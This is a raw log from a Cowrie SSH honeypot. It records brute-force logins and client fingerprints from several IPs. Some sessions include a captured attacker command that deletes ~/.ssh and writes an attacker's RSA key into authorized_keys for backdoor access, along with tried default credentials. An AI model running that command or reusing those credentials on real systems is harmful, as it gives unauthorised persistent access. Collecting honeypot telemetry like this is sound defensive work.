{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.541617Z","src_ip":"87.251.64.176","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.671536Z","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.801050Z","src_ip":"87.251.64.176","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.048556Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.051746Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.055480Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.314516Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.885311Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:39.888619Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:40.149059Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:40.153260Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33180,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ca4a2ddfc1","protocol":"ssh","message":"New connection: 168.167.228.74:33180 (10.17.0.5:22) [session: 58ca4a2ddfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:40.405456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:40.410759Z","src_ip":"168.167.228.74","session":"58ca4a2ddfc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:40.671960Z","src_ip":"168.167.228.74","session":"58ca4a2ddfc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:41.748332Z","src_ip":"168.167.228.74","session":"58ca4a2ddfc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:43.012832Z","src_ip":"168.167.228.74","session":"58ca4a2ddfc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33181,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a9fad5f734","protocol":"ssh","message":"New connection: 168.167.228.74:33181 (10.17.0.5:22) [session: 28a9fad5f734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:43.263869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:43.268416Z","src_ip":"168.167.228.74","session":"28a9fad5f734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:43.526450Z","src_ip":"168.167.228.74","session":"28a9fad5f734","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:44.579606Z","src_ip":"168.167.228.74","session":"28a9fad5f734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:44.838376Z","src_ip":"168.167.228.74","session":"28a9fad5f734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:44.844554Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":44992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c256c25857e9","protocol":"ssh","message":"New connection: 31.57.216.23:44992 (10.17.0.5:22) [session: c256c25857e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:15.523863Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:15.530063Z","src_ip":"31.57.216.23","session":"c256c25857e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e9d3a35ba48","protocol":"ssh","message":"New connection: 31.57.216.23:45008 (10.17.0.5:22) [session: 7e9d3a35ba48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:15.710175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:15.715774Z","src_ip":"31.57.216.23","session":"7e9d3a35ba48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:15.820043Z","src_ip":"31.57.216.23","session":"7e9d3a35ba48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:16.184583Z","src_ip":"31.57.216.23","session":"7e9d3a35ba48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:17.292589Z","src_ip":"31.57.216.23","session":"7e9d3a35ba48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.39.133.9","src_port":48680,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfe727888ba8","protocol":"ssh","message":"New connection: 54.39.133.9:48680 (10.17.0.5:22) [session: cfe727888ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.471506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.475928Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.496540Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:18:6b:b7:73:40:26:40:66:1e:f9:3c:09:e5:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf+hPQgI/qGVQsGA2HlbfWQKm6mV75xyTPDza5Iy7L/NYPO6MOK6j+ukSkdjG+CPjdAwatK4h1h8jmxpPNXLa45S0h0ExHsRUpxw37WkC+uf+wcHmK0Odw0ymbgF589ho/zdVWGflG+I2IpahZRTdro+magkrjXPVsn8sTCzXgHXHaLueBTJwlRPHrSxOULLFpuHKMCyOiqIDPN92dGt77DIOiBIDDVU++jNv3UblJ320uxiiEzL87Aboyj1oPXmSkZYKryCTC9W7ua6dXGHOcxRAufpS8chx60pC+6OAXkDochxsQ0KSGkcCrCOnP3s/2HKX/+Tx5zD/Xi7P9VzrZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:18:6b:b7:73:40:26:40:66:1e:f9:3c:09:e5:e0:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.572564Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:18:6b:b7:73:40:26:40:66:1e:f9:3c:09:e5:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf+hPQgI/qGVQsGA2HlbfWQKm6mV75xyTPDza5Iy7L/NYPO6MOK6j+ukSkdjG+CPjdAwatK4h1h8jmxpPNXLa45S0h0ExHsRUpxw37WkC+uf+wcHmK0Odw0ymbgF589ho/zdVWGflG+I2IpahZRTdro+magkrjXPVsn8sTCzXgHXHaLueBTJwlRPHrSxOULLFpuHKMCyOiqIDPN92dGt77DIOiBIDDVU++jNv3UblJ320uxiiEzL87Aboyj1oPXmSkZYKryCTC9W7ua6dXGHOcxRAufpS8chx60pC+6OAXkDochxsQ0KSGkcCrCOnP3s/2HKX/+Tx5zD/Xi7P9VzrZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.576667Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:2b:46:a1:ab:a2:0f:5f:f8:6c:d8:a3:36:9e:c2:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4KVGXIETzx1YKfBz0mJx1DqVPHcI/nQmVAQny61BTmBR5c611hsBdkx7GwOQjWfke9tpEeJkT0zV/JEscOuksZRoaUClWwMsGcRcjjOO7HhaAY7ZKlrWT/ce3aKgxuruBJnPCmWPKehkC2U5Nnb+cCIULgBmVVTYckQL2RJZ7rCFUNDQK6qSDyHsmUBeo5K8BvG5KC+LRZENTFGP7adq+LmS/nf8fI8NvhoChb7IFJ4sthAyoEfh+8yBoAXZ3IFKq7Uuyf2BcI+jvd9i5lsNiHMCn3kodG5es0mrpDEp99QN9NxMbOV8MflszAJsnNUk5f5Y+lWZAOHx0olXvf2Md","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:2b:46:a1:ab:a2:0f:5f:f8:6c:d8:a3:36:9e:c2:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.596768Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:2b:46:a1:ab:a2:0f:5f:f8:6c:d8:a3:36:9e:c2:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4KVGXIETzx1YKfBz0mJx1DqVPHcI/nQmVAQny61BTmBR5c611hsBdkx7GwOQjWfke9tpEeJkT0zV/JEscOuksZRoaUClWwMsGcRcjjOO7HhaAY7ZKlrWT/ce3aKgxuruBJnPCmWPKehkC2U5Nnb+cCIULgBmVVTYckQL2RJZ7rCFUNDQK6qSDyHsmUBeo5K8BvG5KC+LRZENTFGP7adq+LmS/nf8fI8NvhoChb7IFJ4sthAyoEfh+8yBoAXZ3IFKq7Uuyf2BcI+jvd9i5lsNiHMCn3kodG5es0mrpDEp99QN9NxMbOV8MflszAJsnNUk5f5Y+lWZAOHx0olXvf2Md","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.601419Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:cc:f9:47:3d:be:32:fc:e0:89:29:84:20:4d:3e:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ecGginybZo+y4hJUw2JHFQyoZX0pOrhSQ1D2AD8fj5RMSkBlx4EPNuxTykwoReZ22YTGu95DaeBx8Bk7zlFkkXZ8/iS2JFmGo+r0tJej14ciC0PCrclDTvCXeemq03VV5aAf+XZTLO177GPN6rilRmVQXungw+IPl5H8R8KA4s+y34qKOAEiiHZ580yzpQlwU2hBEeYg/Xsl6VerOFYuix/ege+TQeXEA1Y35p4nx6OVp/4qMFOfFpikQEY5ZKvUJGAJumRcLv3wRHoALTlVDHpL8/G6gIPoksT4WjJNQfTAholjebEj7NFaDHOPVONJuWTLGGVoszF5XA2wFo8r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:cc:f9:47:3d:be:32:fc:e0:89:29:84:20:4d:3e:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.624129Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:cc:f9:47:3d:be:32:fc:e0:89:29:84:20:4d:3e:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ecGginybZo+y4hJUw2JHFQyoZX0pOrhSQ1D2AD8fj5RMSkBlx4EPNuxTykwoReZ22YTGu95DaeBx8Bk7zlFkkXZ8/iS2JFmGo+r0tJej14ciC0PCrclDTvCXeemq03VV5aAf+XZTLO177GPN6rilRmVQXungw+IPl5H8R8KA4s+y34qKOAEiiHZ580yzpQlwU2hBEeYg/Xsl6VerOFYuix/ege+TQeXEA1Y35p4nx6OVp/4qMFOfFpikQEY5ZKvUJGAJumRcLv3wRHoALTlVDHpL8/G6gIPoksT4WjJNQfTAholjebEj7NFaDHOPVONJuWTLGGVoszF5XA2wFo8r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.627788Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
